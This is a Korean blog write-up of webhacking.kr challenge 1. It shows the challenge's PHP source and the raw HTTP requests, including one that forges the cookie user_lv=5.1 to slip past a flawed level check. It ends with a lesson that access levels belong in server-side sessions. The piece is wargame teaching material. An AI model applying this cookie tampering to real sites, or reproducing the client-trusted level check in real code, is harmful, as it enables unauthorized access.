전부 다 해낼 수 있을진 모르겠지만 블로그에 쓰면 계기가 생기지 않을까?
첫번째 문제는 이렇게 생겼다.
URL 상에서 index.phps 에 접근하라는 뉘앙스를 강하게 풍기고 있으나 확실하게 하기 위해 소스를 까본다
<html> <head> <title>Challenge 1</title> </head> <body bgcolor=black> <center> <br><br><br><br><br> <font color=white> ---------------------<br> <br>level : 1<br> <pre> <a onclick=location.href='index.phps'>----- index.phps -----</a> </body> </html>
URL 에 칠 필요도 없이 index.phps 라는 글자를 누르면 이동하게 되 있다. 친절이 극에 달했다
<? if(!$_COOKIE[user_lv]) { SetCookie("user_lv","1"); echo("<meta http-equiv=refresh content=0>"); } ?> <html> <head> <title>Challenge 1</title> </head> <body bgcolor=black> <center> <br><br><br><br><br> <font color=white> ---------------------<br> <? $password="????"; if(eregi("[^0-9,.]",$_COOKIE[user_lv])) $_COOKIE[user_lv]=1; if($_COOKIE[user_lv]>=6) $_COOKIE[user_lv]=1; if($_COOKIE[user_lv]>5) @solve(); echo("<br>level : $_COOKIE[user_lv]"); ?> <br> <pre> <a onclick=location.href='index.phps'>----- index.phps -----</a> </body> </html>
코드를 쭉 읽어보면, 페이지에 접근할때 설정된 쿠키가 없다면 user_lv 이라는 쿠키를 생성하며 값을 1로 준다.
다음 조건문은 쿠키의 값이 숫자가 아닐경우 무조건 1로 처리한다는것.
이 페이지의 raw response는 다음과 같다
GET http://webhacking.kr/challenge/web/web-01/ HTTP/1.1 Host: webhacking.kr User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ko,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://webhacking.kr/index.php?mode=challenge Cookie: user_lv=1; PHPSESSID= Connection: keep-alive Cache-Control: max-age=0
문제의 핵심은 그 이후 if 문들인데, 유저레벨이 6이상이 되면 무조건 레벨을 1로 처리하지만, 5를 초과할 경우에는 통과를 시켜준다는것이다.
코드를 보면 소수점에 대한 처리는 전혀 이뤄지고 있지 않기때문에 쿠키를 조작해 레벨을 5.1로 만들 것이다
cooxie 나 cookie master와 같이 브라우저단에서 쿠키를 조작할 수 있으나, raw 를 까본김에 다음과 같이 조작해 request를 날려보기로 한다
GET http://webhacking.kr/challenge/web/web-01/ HTTP/1.1 Host: webhacking.kr User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ko,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://webhacking.kr/index.php?mode=challenge Cookie: user_lv=5.1; PHPSESSID= Connection: keep-alive
패스되었다는 결과를 얻을 수 있다.
<html> <head> <title>Challenge 1</title> </head> <body bgcolor=black> <center> <br><br><br><br><br> <font color=white> ---------------------<br> <script>alert('Congratulation!');</script><center><h1><br><br><hr><font color=gray>You have cleared the 1 problems.</font><br><br><font color=green><b>Score + 200</b></font><br><hr></h1></center>
위 문제로 배울점은, 쿠키로 레벨을 설정하는 멍청한짓을 하지 말아야 된다는 것이다.
index.phps에서 많은 힌트를 주었으나, 쿠키는 클라이언트에 저장되는 만큼 쉽게 노출되므로 얼마든지 공격의 대상이 될 수 있다.
개발자는 클라이언트마다 세션을 열어서 유저레벨을 서버에서 체크해야만한다.